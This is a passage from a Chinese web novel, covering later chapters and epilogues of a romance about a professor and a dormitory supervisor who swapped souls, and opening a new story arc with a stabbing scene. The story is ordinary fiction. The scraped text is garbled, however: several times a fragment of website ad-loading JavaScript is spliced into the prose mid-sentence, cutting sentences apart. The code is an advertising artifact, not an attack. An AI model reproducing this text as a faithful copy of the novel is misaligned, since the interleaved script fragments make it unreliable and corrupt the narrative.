别说,行家一出手就知有没有。 从那天之后,小沈之牧晚上睡觉都没再做梦了。 而且明明他记忆力很好的,可那些梦的内容就是在他脑中渐渐模糊,很快就全部不记得了,仿若从未有过这段经历般。 饶是再聪慧,孩子终究是孩子。 小沈之牧哪里会懂得这个梦对他来说有什么意义,对他来说不过是忘记了一段困扰他的梦魇。 沈之牧是在早上上课时,某一瞬间脑中突然灌入了这些被他弄丢了的儿时记忆片段。 没有人知道他当时是用了多大努力,才没当场失态。 有些东西,那个年龄的他不懂,可是现在他却恨自己懂得太晚了。 得亏他学术水平过硬,机械般的上完课,期间还算顺畅。 放学的铃声一响,他第一次跑得比学生还快,他急切想快快见到人,将人拥进怀中。 可是走出教学楼,热辣的阳光照在脸上,他的心反而渐渐平静下来了,同时在脑中重新将儿时那些梦过一遍 ……所以,这一世是那个男人求来的。 不急,他不能急的,他和她还有一辈子的时间。 不能把人吓到了。 沈之牧快速整理好情绪,才继续向宿舍楼走去。 …… 人的倾述欲一旦打开,那就跟开了闸的洪水,没完没了了。 白幺幺同志不知道自己说了多久,反正是说得有些口干舌燥了。 她咂吧咂吧嘴,似是这时才反应过来唯一的听众一直都没说话。 这不会是听走神了吧! 白幺幺:……难道她的口水真的白消耗了!!! “沈教授,你刚刚一直有在听吗?”白幺幺内心祈祷对方一直有在听,中途没开小差。 当然,开啥玩笑,她肯定不是心疼那啥口水,她就是不喜欢有些话重复讲两遍。 “嗯。” 沈之牧停止一心两用,走过去倒了杯水,而后走回来把水递给白幺幺。 “先喝水,你刚刚说的我全都有听,要不你可以考考我。” 白幺幺:“???” 沈教授,你是认真的吗? 白幺幺:还有我刚刚到底讲了什么! 沈之牧用上了考考两个字,这让白幺幺同志对自己刚刚讲得内容产生了怀疑。 所以困住原主大半 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 生的东西,在沈教授这边得到了最平静平淡的对待,这也是原主渴求了大半生的。 算了,先喝水。 咕咚咕咚,一口气将杯中的水喝光,白幺幺同志很自然的把空水杯往沈之牧身前一递。 沈之牧比她还自然的接过杯子,转身又倒了杯回来。 白幺幺再次接过水杯,这回她只是小口小口的喝着,没再说话,眼睛却紧紧盯着男人看。 “沈教授,我感觉今天的你有点怪……不一样,你是不是也遇到什么事?方便和我说说吗?” 白幺幺同志是懂礼尚往来的,让人当了那么久的听众,她也当当对方的听众。 沈之牧轻轻摇了摇头,“没有,不过真要说起来,我最近的确有个烦心事 。” 白幺幺好奇问“什么烦心事?” “幺幺真想听?”沈之牧眸中含着浅浅笑意。 白幺幺迟疑的点了点头,“沈教授,可能我能力有限,帮不了你什么,但当个听众还是可以的,说不定还能给你提提意见。” “不会,这个事只幺幺帮得了我。” 不给白幺幺疑惑的时间,沈之牧一字一顿道:“我要怎样才能走进你的心?幺幺,这就是我最近最大的烦心事。” 一辈子是很长没错,可沈之牧就是很热切想早早将人叼回自己窝里。 没恢复儿时的那段记忆,他可以慢慢等待,细水流长。 可是现在,要不是极力压制,怕把人吓到了,他是一刻也不想等了。 白幺幺:“……” 白幺幺内心的小人在呐喊,此时她的心跳如擂鼓,脸开始发烫,不用看肯定红了。 都这种时候了,还扭捏,那就不是白幺幺了。 “我……我的心很好进的”。 反应过来这么说好像显得自己很不值钱的样子,白幺幺忙佯装凶狠的补充道:“但是进来后,就没有再出去的道理,除非……” 后面的那个字她没说出来,一切尽在不言中。 没有很正式的告白,那天之后,两人的关系就那么自然而然的定下来了。 两人的相处就像其他热恋中的情侣那般,当然两人之间更多的都是沈教授主动。 第110章 禁欲教授与被霸凌小可怜的反转人生(49) 恋爱中的沈教授像是打通了任督二脉,学校的学生还给他在学校的论坛上单独开了个帖子。 那帖子名挺有趣的,就叫“今天你们被沈教授投喂了吗?” 至于投喂啥?狗粮呗! 也不知道多久以后,这个帖子被沈之牧知道了。 怎么说,他还挺感谢这些热心学生,替他记录下如此详细的恋爱日记。 以及这帖子上还有一些他和幺幺亲密互动的照片,不得不说照片拍得很好,很有收藏意义。 沈教授并没有让人把帖子删了,甚至背地里偷偷关注起这帖子来。 转眼一个月过去了。 这天晚上,白幺幺有点小激动,有点小雀跃的等待着两人的灵魂互换。 两人现在是恋人关系,在这种关系下灵魂互换,那种好玩,嘿嘿,相信大家懂的哈! 而且这灵魂互换的情况又不是长久的,有结束的一天,更得珍惜起来。 只是还没等来灵魂互换,她先接到了警察的电话,然后对方给她抛了一个重磅炸弹。 陈丽华死了!!! 白幺幺一时真的愣住了,倒不是对陈丽华死感到惋惜啥的,就是很不解这人怎么就死了。 陈丽华死有段时间了,具体死亡时间要等法医的验尸报告,尸体是几个小时前被发现的。 作为陈丽华的同事兼室友,警察打电话过来询问些相关信息。 案件没两天就侦破了,陈丽华是被陈雅恬失手杀死的。 而陈雅恬并没有用多高明的方法处理现场,以及抹去自己痕迹。 总而言之就是,这一起很普通的案件,死法不凶残,凶手也不高明。 而陈雅恬也很快就被逮捕归案,那些孩子被她霸凌过的家长本来就在找她,知道她因失手杀人被抓进局子里。 这些家人联合起来,到警局门口拉横幅。 这么一闹,直接将陈雅恬挂在热搜很长一段时间。 陈雅恬最终被判七年,同时赔偿完所有被她霸凌的过同学,她可以说倾家荡产了。 反正不管是她爸留给她钱和房子,还是陈丽华死后留下的那部分身家,都没了。 而且以她的现在名声,在监狱里能好过才奇怪。 对于这对姑侄俩是以这样的方式收场,白幺幺没多大心理波动。 她现在每天过得不知道有多快乐,哪里舍得分情绪在这对姑侄身上。 当然,真要说起来,她对陈丽华的死还是有一点点唏嘘的。 或许就连陈丽华她自己,怕是做梦也想不到她会死在陈雅恬手上。 还有在白幺幺的推波助澜下,守贞村因“做抔有梦想的泥”的那个帖子上了热搜,开始引发各界关注。 白幺幺在幕后适时的放出更多守贞村的“小故事”,其中就有关于原主姑姑的。 记者们就像是闻到花香的蜜蜂,向守贞村蜂拥 。 有些人的思想已经顽固化,一时想改变很难,面对记者采访也不怯场,更不觉得自己说的有什么错。 好些记者们被某些村民较为毁三观的话都给整无语了,甚至有一个女记者和一个村民直接吵起来了。 说起两人吵起来的原因和原主她姑的事有关,被采访的妇人说了句“被人糟蹋了,不嫁给那人,还有谁要,非得把人整进监狱,真是心狠哟”。 女记者听后再也忍不住了,开始与人争辩起来,努力想让妇人知道她这想法是错的。 只是,秀才遇到兵,最后就演变成吵起来了,得庆幸没打起来。 这事情直接将守贞村推到了一个风口浪尖,相关部门哪里还坐得住,开始着手处理,并对村民进行相关思想教育。 最后经过商讨决定,还将守贞村改回白家村。 补刀小能手白幺幺同志觉得这样还不够,她利用网络,将那些被采访到村民的视频推送给他们子女亲朋的同事和朋友。 至于没被采访到了,没事也一并打包推送了。 有些人,能让他们收敛害怕的,能牵制住他们的,也就只有他们的子女后辈。 生于此,长于此,村子它生病了,出去外面接受过高等教育的年轻人不可能不知道,就算能力有限改变不了什么。 但起码能约束下自家人的言行,然后重视起下一代的教育。 还是那句话,雪崩时没有一片雪花是无辜的。 日子一天一天的过着,白幺幺同志的小日子过得那叫一个美滋滋。 这天那个名为“今天你们被沈教授投喂了吗”的帖子又有更新了。 发帖人不是别人,正是唐文译同学。 这货自从知道有这么个帖子存在后,冲冠一怒为老师,让人把帖子删了……那是不可能的。 也不知道唐文译同学使了啥手段,这帖子的帖主成了他。 大中午的,学生们吃着食堂里不算好吃的午饭,然后看着贴主亲自上阵更新了内容。 说真的,以前的狗粮真真把他们喂饱了,可今天的那是越看越饿呀! 吃顿午餐我看到了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 两个场景,两桌美食。 呜呜,这是投喂狗粮吗? 不,不,这是大中午的上演美食的诱惑 。 不过,沈教授和师娘都好宠对方呀! 他们应该是一个吃辣一个不吃吧,所以吃个午饭都能为此跑两家店。 沈教授吃东西的时候,师娘并没有动筷,就这么在对面安静的坐着。 最最重要的是,师娘看着沈教授眼神柔得都快能化水了,里面满满全是爱意和宠溺。 而当师娘吃东西的时候,沈教授那眼神简直绝了,比师娘的还夸张。 还有那牵在一起的手是闹哪样? 沈教授,快放开师娘的手,你这样粘人是不行的,会影响到师娘用餐的。 对了,你们有没有发现师娘越来越漂亮了,呜呜,果然爱情它滋润女人呀! 楼上的说啥了,师娘本来就很漂亮,只是以前太低调,不爱打扮。 可现在也没咋打扮呀! 谁说没有,发型不是换了吗? …… 帖子热度依旧在上升,只不过两个当事人却不知情。 要是让白幺幺同志知道了,一定会捂着肚子哈哈大笑。 ……同学们啊,这真的是个美丽的误会! …… 一年后某个风和日丽的中午。 原本已经沉寂有个把月的帖子再次炸了,就是那个“今天你们被沈教授投喂了吗”的帖子。 贴主发了一张照片,一张婚礼进行时的照片。 最最关键的是,穿婚纱的是沈教授,沈教授啊! 看到帖子的人,有一个算一个,都想原地尖叫。 沈教授今天结婚? 没想到沈教授这么会玩,婚礼上穿婚纱,哦哦哦,好想看现场版。 呜呜,这样的婚礼名场面,好想一样,好想自己当时也在现场。 我赌沈教授肯定是因为师娘身材太好了。呵呵!男人么懂的都懂,所以干脆他来穿暴露的婚纱,而师娘穿西装裹得严严实实的。 呵呵,对,男人,我看穿你了。 就是,我是男人,我懂沈教授的。 没错,有图有真相,你们看师娘,就算穿着西装,也遮挡不住她的好身材,我是女生,实名羡慕啊! 呜呜,楼主,有视频吗?我们要看视频!! 对,求视频! +1 …… +10086 ……… 第111章 禁欲教授与被霸凌小可怜的反转人生(番外1) “东宝,别动,还有不许碰妈妈的东西!” 说话的小姑娘约莫七八岁的样子,板着脸,那严肃劲是真的有点唬人。 才转眼的功夫,就已经踩着椅子爬到桌子上的小胖娃娃被这道突然的声音喊住了,抬头扑闪着大眼睛。 看到来人是姐姐,直接咧嘴露出个能甜死人的笑来。 “姐姐。” 伸手不打笑脸人,小姑娘板着小脸,几步走过去费力的将小胖娃娃从桌子上抱下来。 小姑娘名叫沈凌曦,小名西宝,是沈之牧和白幺幺的大女儿,长得像极了沈之牧,就连性格也是。 不要说沈父沈母,就是沈之牧自己都很宠这个女儿。 因着小姑娘性子沉静,沈之牧时常会带着小姑娘去上课。 他在上面讲,小姑娘坐在第一排,也跟着大哥哥大姐姐们安静的听课,全程不吵不闹的。 可以说,小姑娘是沈之牧亲手带到这么大 。 至于白幺幺同志,因着这世界灵魂互换如此奇特的事都发生了,她开始对那些玄之又玄的东西很感兴趣。 什么五行八卦、奇门遁甲、星占、卜筮、堪舆、符咒,白幺幺越接触,越感觉像是打开了新世界的大门。 在两人结婚的前半年,白幺幺就将宿管的工作辞了。 而辞了宿管工作四个月后,她参加了高考,同年以优异的成绩考上了某知名大学的易学专业。 亲眼见证他的幺幺慢慢在蜕变,沈之牧内心很没安全感。 以前幺幺的好只有他看得到,可是未来将会被越来越多人看到。 所以在高考成绩公布后没多久,两人举行了一场很特别的婚礼。 “今天你们被沈教授投喂了吗?” 沈之牧是很巧合的情况下发现这个帖子的,之后就默默关注着这帖子。 至于唐文译是贴主,他当然知道。 婚礼当天,唐文译也受邀参加了。 自己的学生,沈之牧能不了解,所以帖子一有更新,他就点进去看了。 不得不说,这群学生们真相了。 当看到幺幺穿上婚纱笑靥如花的模样时,沈之牧一时完全失去了思考能力。 直到幺幺提着繁复的裙摆缓步朝他走来,他才堪堪找回点理智,一把将人拥入怀中。 当时他脑中就只有一个想法,想把幺幺藏起来,不想任何人看到这样的幺幺。 沈之牧当然没有直接将这个想法说出来,他知道婚礼对一个女人来说有多重要。 所以沈教授第一次对着幺幺耍了个小心机。 换下婚纱,沈之牧带着人去山顶看日落。 落日余晖洒在相拥的两人身上,画面简直不要太唯美,这时沈教授凑近白幺幺耳边低语。 “幺幺,这辈子能与你相遇相识相知,感觉是用了我前半生的所有运气,现在我感觉自己好幸福好幸福。” “幺幺,你幸福吗?” 白幺幺觉得耳朵有点痒痒的,稍微偏移了下脑袋,才点了点头。 白幺幺本就不是啥忸怩的性子,她对着夕阳大声喊出来“幸福呀!” “那你想不想更幸福?”沈之牧循循善诱道。 白幺幺:“……” 她是谁,她是白幺幺。 哼,怎么感觉沈教授不对劲呀,有种像是要套路她的感觉。 白幺幺心里生起警惕来,面上却一脸天真回道:“想啊。” 沈之牧抱着人转了个方向,两人面对面,四目相对。 “幺幺还记得我们是怎么认识的吗?” 白幺幺:……来了,来了,这套路她熟。 “记得。” 白幺幺大眼睛里满是疑惑,像是在说他们的认识方式如此特别,她怎么可能不记得。 对上幺幺迷蒙疑惑的眼神,沈之牧心中生起小小的负罪感。 他低头,额头轻抵着幺幺的额头,声音低沉却充满了磁性。 “幺幺,我们的认识方式如此的特别,特别到我想做点什么事来纪念它。” 白幺幺:……就这??? “可以呀!” “那婚礼当天,我们搞点和别人不一样的,我来穿婚纱,你穿西服……就好像我们灵魂又互换了。” “啥?”白幺幺没忍住低呼出声。 沈之牧见她反应如此大,以为她很排斥这个提议,正想说他开玩笑,逗她的了。 只是还没等他说,白幺幺兴 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 奋的睁大眼睛,“这个好啊!” “就是……就是让你穿婚纱,会不会有点委屈你呢?还有到时肯定会有很多人笑话你的。” “对了,对了,到时是不是我直接扮演新郎的角色,你则是挽着沈爸爸的胳膊缓缓走向我,如果这样的话,我们需不需要做下婚礼彩排?” 此时白幺幺不止面上兴奋,心里的小人更是已经趴地上打滚了,脑中也开始幻想沈教授穿婚纱走向她的画面。 啧啧,果然她还是不行,还是要多多学习,多长长见识。 不然怎么沈教授能想出如此别开生面的婚礼,她却没想到还能这么玩呢。 而且对于他们两人来说,如此操作是真的含有特殊意义的。 莫名的,白幺幺心虚了。 她刚刚竟然误会人家要套路自己。 就问你,见过谁这样套路人的,委屈自己在那样的场合穿女装。 白幺幺的反应有点把沈之牧整不会了,不过看她似乎很高兴,他心里悄悄松了口气。 婚后第二年,白幺幺生下女儿沈凌曦。 由于她要忙于学业,所以孩子更多时候是沈之牧在带,当然白幺幺除开学习的其余时间都用在陪老公孩子。 有了女儿后,沈之牧是不打算让幺幺再受生育之痛的。 他想去结扎,只是被白幺幺阻止了。 原主很喜欢孩子,白幺幺则觉得大女儿性子太沉静了,或许生个弟弟妹妹闹闹她也不错。 小儿子是在大女儿五岁时出生的,是大女儿迟到一年的生日礼物。 小儿子的名字叫做沈凌东,小名东宝,长得和白幺幺很像,性子么…… 你只要错开眼一会儿,小胖娃娃总会给你搞出些让人哭笑不得或者惊心动魄的画面来。 因着是男孩子,沈之牧平时会更严厉些。 可是,有时对着和妻子七八分神似的脸,他真的很难硬下心来。 也幸好一物降一物,小胖娃娃第一喜欢就是姐姐,接着是妈妈,然后是爷爷奶奶,再然后是大哥哥大姐姐们…… 被排到不知道第几位的沈教授:……很好! 小胖娃娃就算是长大了,也是最喜欢姐姐,同样也是最听姐姐话的暖心弟弟。 第112章 禁欲教授与被霸凌小可怜的反转人生(番外2) 【关于另一个世界的一个番外,补全一个遗憾,宝子们可看可不看】 “道长,我按着你说的做了,你说的,你说的下辈子……咳咳……” 才四十出头的人,瞧着却有了七八十岁老人迟暮的沧桑即视感。 男人躺在病床上,生命已经进入倒数计时,只是他眼中没有对死亡的恐惧,有的只是…… 他手死死拽着病床边站着人的衣袍,想要对方再给他个准话。 “沈先生,你,贫道当年只是……” “道长!” 似是怕人说出的话不是自己想听的,男人急声打断了他,沉默片刻后轻轻摆手。 “道长,你出去吧,我想一个人静静。” 屋里一下子没人说话了,紧接着是开门声和关门声。 病房里除了仪器运作的声音,就是男人轻浅的呼吸声。 沈之牧从未想过他这辈子会为梦所困,可是那些梦太真实了,真实到让他最后都分不清楚梦境与现实。 他找来了关于她一切能找到的资料、照片、视频,将这些东西锁在保险柜里,每晚睡不着的时候都会拿出来翻看。 就这样,他通过梦境与那些冷冰冰的资料去认识了她,一个敏感却很善良坚强的女人。 在梦里,他一开始没有动心的,结束灵魂互换后,出于各方面考量,他向她求婚了。 她当时迟疑了,可她真的是个极好的女人。 似是怕拒绝了他,会伤到他般,最后她还是点头答应了他的求婚。 梦里,或许他们是属于先婚后爱,又或许他更早些就心里有了她。 毕竟他不是会随便将婚姻当儿戏的人。 …… 沈之牧闭上眼睛陷入回忆中,回忆着那些梦境的片段画面。 他觉得这辈子是老天爷和他开的最大玩笑,让他做了那些梦,现实世界中又是那样苍白无力、别无选择…… 被梦所困,被梦所折磨,最后只能用高强度的工作来麻痹自己。 沈之牧从未想过自己有一天会活成这样,支撑着他的是那虚无缥缈的下一世。 他不认为自己是情种,却好像做了情种才会做的事。 他只是不甘心,意难平。 对,意难平。 ……或者也可能是其他的,反正都不重要了。 他能感觉自己生命已经快走到尽头了,该安排的事他早早都安排好。 说他懦夫也好,说他没担当也罢,甚至说他不男人都行。 他的痛苦没办法与人说,也没有人能理解。 这辈子,他似乎活成了一场笑话。 就这样吧,沈之牧睁开眼睛望着天花板,只求来生老天爷不要再和他开这种玩笑了。 意识渐渐模糊时,他脑海中出现了两本书,没给他太多时间将两本书看完。 不过在彻底失去意识前,还是让他弄清楚了一件事。 原来他生活的世界并不是真实的世界,而是一本书演化的世界。 而他不断做梦梦到的场景是原书剧情,至于这一世则是某个和陈雅恬同名的读者,她根据原书改写的另一本书的剧情。 他恍然明白道长为什么要他和那女人结婚,要他……甚至为什么他会做那些梦了。 全因这本书的书灵发现他存在不可控因素,可能会出现偏离剧情的行为。 为了让剧情能按照书里写的顺利进行下去,书灵通过揣摩他的性格,让他梦见原书中的剧情。 还让道长来到他身边,用……谎言让他心甘情愿的配合着完成相关剧情。 呵呵,真是讽刺啊! 所以,这一世,他真的活成了一场笑话。 沈之牧不甘心,书中世界怎么了? 都是有血有肉有思想的人,凭什么要遭受如此的愚弄。 心脏停止跳动的那一瞬间,似乎响起来一道几不可闻的咔嚓声。 …… 咚咚咚的心跳声在寂静的房间里显得格外清晰,床上躺着的男人无意识的拢紧眉心。 眨眼的功夫,男人猛然从睡梦中惊醒,噌的从床上坐起来。 他倏地睁开眼睛环视四周,霎时瞳孔地震。 此时沈之牧顾不得想其他,他颤抖着手拿起放在床头桌的手机。 按开看到上面显示的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 时间,眼睫轻颤,心脏直接停跳了一瞬。 抓着手机,有些癫狂的跳下床往外跑去,别说换衣服,拖鞋都顾不得穿。 失去意识的最后一刻,他已经明白了,一切不过是场骗局。 没有,没有什么下一世的! 可是…… 哪怕现在只是场梦,无所谓了,只要永远不要让他醒来就行。 直到跑到玄关处,沈之牧才反应过来还光着脚,想到他一直有在车上备着鞋服的习惯,想也不想直接拿上车钥匙匆匆下楼。 车子快速的驶出小区停车场,沈之牧降下车窗,让凉风打在脸上,似乎这样子能让他更有真实感。 越靠近学校,他心里的怯意越重。 害怕一切真的只是梦,害怕老天爷又在玩他,即使赶在记忆中的时间前去学校,该发生的剧情还是会提前发生。 他始终摆脱不了剧情,什么也做不了。 停车后,沈之牧开车门的手微微发着抖。 他张口深深吸气,冷空气蜂涌进入胸腔,像是给他注入了力量。 奔跑,发了疯的奔跑。 四周的安静让他的心安。 没有。 远远瞧见宿舍楼前地面上空空的,沈之牧心中一喜,眼眶不知什么时候已经红了。 他加快跑动的速度,犹如一道风冲进宿舍楼里,向着顶楼跑去。 期间差点与站在宿舍楼大门前的一道身影撞上,不过沈之牧一个眼神都没给对方,同时直接忽视掉对方喊他的声音。 激动、紧张、恐惧、胆怯等情绪在看到那道熟悉的身影后,全都消失的无影无踪。 他脑袋先是空白的一瞬,紧接着是瞳孔骤缩,身体像离铉的箭蹿了出去。 直到将人从天台上抱了下来,他才仿若整个人重新活过来了般。 “你……你……是谁……快放开我……” “……不放,这辈子死也不会放开的。” 沈之牧话才说完,脑袋一阵晕眩袭来,失去意识前,他只来得及将人紧紧护在怀中。 嘿嘿,属于他们的故事从这一刻开始了! …… 第113章 校霸和他女扮男装的小跟班(番外) “书书哥哥,这就是我爸爸的藏宝阁,里面的东西我爸爸可宝贝了,连我妈咪都不让看哦!” “连白阿姨都不让看?” 辰书阅小朋友不是很相信的样子,但一点也不耽误他好奇的探脑袋往里瞧。 只是想到有次不小心瞧见霍叔叔将自家爸爸打得鼻青脸肿的样子,两只小短腿愣是没敢踏进去。 霍泱泱小朋友正撅着小屁屁在一堆东西里好一阵翻找,迟迟没听到小伙伴进来的动静,忙里偷闲的转过小脑袋往门口看去。 她疑惑的歪了歪脑袋,朝人挥了挥小手,“书书哥哥,你快快进来呀!” 面对小伙伴的催促,辰书阅的小脸一下子皱成了包子脸,想到霍叔叔连他爸都打,他忙把小脑袋摇成拨浪鼓。 “泱泱,我还是不进去了,你好好在里面翻翻找找看看,要是发现什么好东西,你再拿出来给我看看,好不好。” 已经七岁了的辰书阅小朋友求生欲还是很强的,没办法,辰家向来信奉棍棒底下出孝子。 好吧,主要是辰家的基因太强大了,一个个都是头脑简单四肢发达的。 皮糙肉厚抗打,还一天不打就皮痒。 已经晋升为辰老爷子的辰父每年总有那么天,大晚上的不睡觉,一个人喝闷酒。 喝酒了后,人颠颠的跑到祖宗牌位前哭自己没用,很大可能有生之年都没办法为辰家培养出个读书人来。 从辰东那小子将自己儿子取名为辰书阅就能想象辰老爷子对这个孙子期望有多大。 只是吧,这种事往往期望越大,失望越大。 看辰书阅小朋友那虎头虎脑的模样,以及比同龄小朋友高壮上一圈的体型,还有那瞧着就不怎么聪明的脸,辰东自个儿有时都不想打击自己的老父亲。 明明霍毅和白幺幺是结婚最早的一对,他们的孩子却是最晚生的,今年刚满四岁,叫霍泱泱。 小姑娘的名字可不是谁给取的,而是她满月时,自己抓阄抓的。 霍泱泱小朋友不理解小伙伴为什么不进来,不过小姑娘被教育得很好,十分尊重小伙伴的决定。 她转过小脑袋,继续撅着小屁屁,吭哧吭哧的开始寻宝。 霍毅还不知道他的“藏宝阁”正在被宝贝闺女霍霍了,他此时还在公司埋头处理文件。 而所谓的藏宝阁,其实就是他的私人杂物间,里面放着他和幺幺高中开始到现在一些舍不得丢掉的旧物。 平时他都是锁起来的,也就是昨晚他和幺幺想玩点刺激的。 ……咳咳……他就想起了杂物间里有他收起来的校服,幺幺的,还是高中时候的校服。 所以,大家都懂的哈! 可能是太心急了,拿了东西离开时,他竟然忘记锁门了。 而他闺女果然是他的好闺女,他昨晚才忘记锁门,小家伙今天就那么碰巧跑上去了,还误打误撞打开了门。 以前这门都是打不开的,突然能打开了,小孩子能止住好奇心不进去才怪。 东西很多,对霍毅来说,每样东西都带着满满的回忆,是特别的。 可霍泱泱小朋友哪懂这些,翻翻找找一通,也没发现什么特别的东西。 她撅着嘴回头和辰书阅奶声奶气道:“书书哥哥,我爸爸好没用用,藏宝阁里藏的宝贝都没泱泱的宝贝多,也没泱泱的宝贝值钱。” 辰书阅:……这个他真不敢附和。 忽的,小家伙眼睛一亮,指着某一处激动道:“泱泱,宝贝,大宝贝。” 霍泱泱小朋友顺着他指的方向看去,一本不知道被她从哪里翻出来的笔记本正躺在地上。 她蹲下身去将笔记本捡起来,哒哒往门口跑去,然后很大方的将两手捧着的笔记本递给辰书阅小朋友。 辰书阅小朋友智商是不高,但情商高呀! 没办法,上帝为你关闭了一扇门,总要给你打开一扇窗。 他头再次摇得跟拨浪鼓似的,“泱泱,这个是日记本,日记本就是记录秘密的本子,很宝贝的。” “秘密?”霍泱泱小朋友疑惑的眨了眨大眼睛。 “对的。” 辰书阅小朋友重重点了点头,“这个是霍叔叔的日记本,霍叔叔肯定在里面写了很多秘密。” “爸爸的秘密?可爸爸说他和泱泱是好朋友,好朋友间是没有秘密的。” 霍泱泱撅了撅小嘴,有点不开心了。 爸爸竟然骗她,爸爸竟然有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她也不知道的秘密。 辰书阅小朋友是懂安慰人的,“泱泱你别不开心呀,你现在不是拿着霍叔叔的日记本,我们现在下楼找个姐姐念给我们听,这样霍叔叔的秘密你不就知道了,你和霍叔叔之间不就没有秘密了。” 霍泱泱小朋友想了想,夸道:“书书哥哥,你好聪明啊。” 第一次被夸聪明的辰书阅小朋友:“……” 他害羞的摸了摸脑袋,“是……是吗?” “那我们快下楼去吧!” …… 白幺幺带着节目工作人员直接进门来,在门口时她就听到自家女儿的声音。 近期她接了一个带娃旅游的综艺节目,是以直播形式的。 “姐姐,你怎么停了,快念呀!” “对呀,对呀,快念,泱泱想听爸爸的秘密。” “这……真要念?” “要的,要的。” “好吧,那我念了。” “今天天气晴,可我的心情却是阴。 当发现小乖裤子上有血迹,我真的很紧张很担心,我脑中第一反应就是小乖的痔疮破了。” “泱泱,小乖是谁呀?” “是我妈妈呀,我爸爸经常这么喊我妈妈的。” …… “我犹豫很久还是出声提醒小乖, …… 后面我还是不放心,找来了药给小乖送去。 可小乖看到药似乎更生气了, 好烦,真的好烦。 到底要怎么样才能让小乖不生气,还有要怎么样,才能让小乖不讳疾忌医呢? 其实长痔疮真的没什么的,十男九痔,网上是这么说的。 哈哈哈哈哈! 我真傻。 原来不是痔疮,是小乖来初潮了,难怪小乖会那么生气。 ……” 白幺幺:……没事,真的没事,只要你不觉得尴尬,尴尬的就是别人。 呵呵,不过某人晚上就等着吧! 节目组的工作人员:“……” 也幸好节目明天才开拍,她今天就是带节目组的工作人员来认认门,顺便拍组居家写实的宣传视频。 第114章 大佬的舔狗青梅之错位时空的爱恋(01) “为什么?” “为什么你要出现?” “要是没有你,阿尧哥哥早晚会答应和我在一起的。” 颜晞月咬着牙使劲,让刀身尽数没入少女的胸膛,神色癫狂极了。 被她压在身下的瘦弱少女眼里满是错愕和惊惧,小脸更因疼痛扭曲在一起了。 少女想伸手将人推开,可她力气本就不大,胸口又被插了一刀,哪里可能将人推开。 少女的动作直接刺激到了颜晞月 ,她松开握着匕首的手,两手并用的掐上少女纤细的脖颈。 “凭什么,凭什么,我和阿尧哥哥从小一起长大,我还那么爱阿尧哥哥,凭什么你要突然出现来履行什么婚约?” “你知不知道?昨天阿尧哥哥又拒绝我了,他说和你有婚约,要娶你!” “哈哈,他要娶你!” “这怎么可以,怎么可以。” “阿尧哥哥只能是我的,是我的,如果我得不到,那别人也别想得到……” 鲜血汩汩的流淌,少女胸前很快浸湿了一大片。 本就渐渐微弱的呼吸,脖子再被这么一掐,脸色当即青紫起来,眼里的光彩也逐渐暗淡下来。 不管是颜晞月,还是渐渐失去意识的少女都没注意到一件诡异的事情正在发生。 此时此刻,少女脖子上戴着的玉佩正在疯狂的吸收着少女伤口流出来的血。 而吸收了少女血的玉佩开始散发出莹莹微光,之后微光慢慢扩大……扩大…… 最后的画面就是颜晞月和少女同时原地消失,真正地凭空消失。 因着颜晞月是带着水果刀出门的,所以她下意识选了个偏僻无人的角落,不然这突然的一幕绝对能把人吓出点毛病来。 白幺幺按压了下太阳穴,无语的啧啧两声。 新的小世界很好,是没再给她选择些命悬一线的惊险时刻为穿越节点。 可却让她刚穿越过来,人都还没缓过神来时,以另外一种方式,就像是作为旁观者,却仿若身临其境般体验一把原主的死亡过程。 那种真实的感觉…… 还没接收剧情,以及了解原主心愿,白幺幺就已经想爆粗口了。 有病! 那个谁是不是杀错人了? 既然爱得那么深,那么疯狂,还生出了自己得不到那别人也别想得到的“觉悟”。 正常逻辑思维下,那水果刀不更应该刺向她口中的阿尧哥哥。 嗯,等这个阿尧哥哥断气了,再拔出刀不带犹豫的也给自己来一下,然后你们不就能永远在一起了。 谁都再也不能把你们分开,哪怕是你的阿尧哥哥也不行,多完美呀! 白幺幺同志先为自己的机智点个赞,才开始接收起剧情来。 没有意外的,最后杀死原主的那个瞧着就有病的女人是这方小世界的女主,叫颜晞月。 她和男主顾景尧是一起长大的青梅竹马,她从很小很小开始就嚷着长大了要嫁给男主,做男主的新娘。 童言无忌,大人们听了笑呵呵,却都没当一回事。 可女主却是很认真的,并把长大后嫁给男主作为自己的人生目标。 男主么,高大帅气优秀是必须的。 女主长大后,没有意外的深深爱上了男主。 不过她已经不是少不知事的小姑娘了,她能感觉到她的阿尧哥哥心里似乎没有她,仅仅只是将她当妹妹看待。 这怎么行! 她从很小就开始期待着长大做阿尧哥哥的新娘。 俗话说,男追女隔座山,女追男隔层纱。 她从小就一直是追在阿尧哥哥屁股后面跑的,现在改追着跑为追求,她相信追求到阿尧哥哥只是时间问题。 只可惜,人有时往往就是这样,越上赶着的,越遭人嫌弃。 女主苦苦追求男主好几年,却始终打动不了男主,甚至将人越推越远。 两人共同圈子里的亲朋好友都劝女主放弃吧。 甚至男主的兄弟们背地里还笑话女主自甘下贱,为了个男人当了那么多年的舔狗。 难道没听过这么一句话,舔狗,舔狗,舔到最后一无所有。 女主当时恰巧就在门外,将这些话全部听了去。 她拳头捏的死死的,指甲陷进肉里,都流血了,可她却感觉不到痛。 当时她脑子就一个声音,这辈子她就是死也要嫁给阿尧哥哥,当阿尧哥哥的新娘。

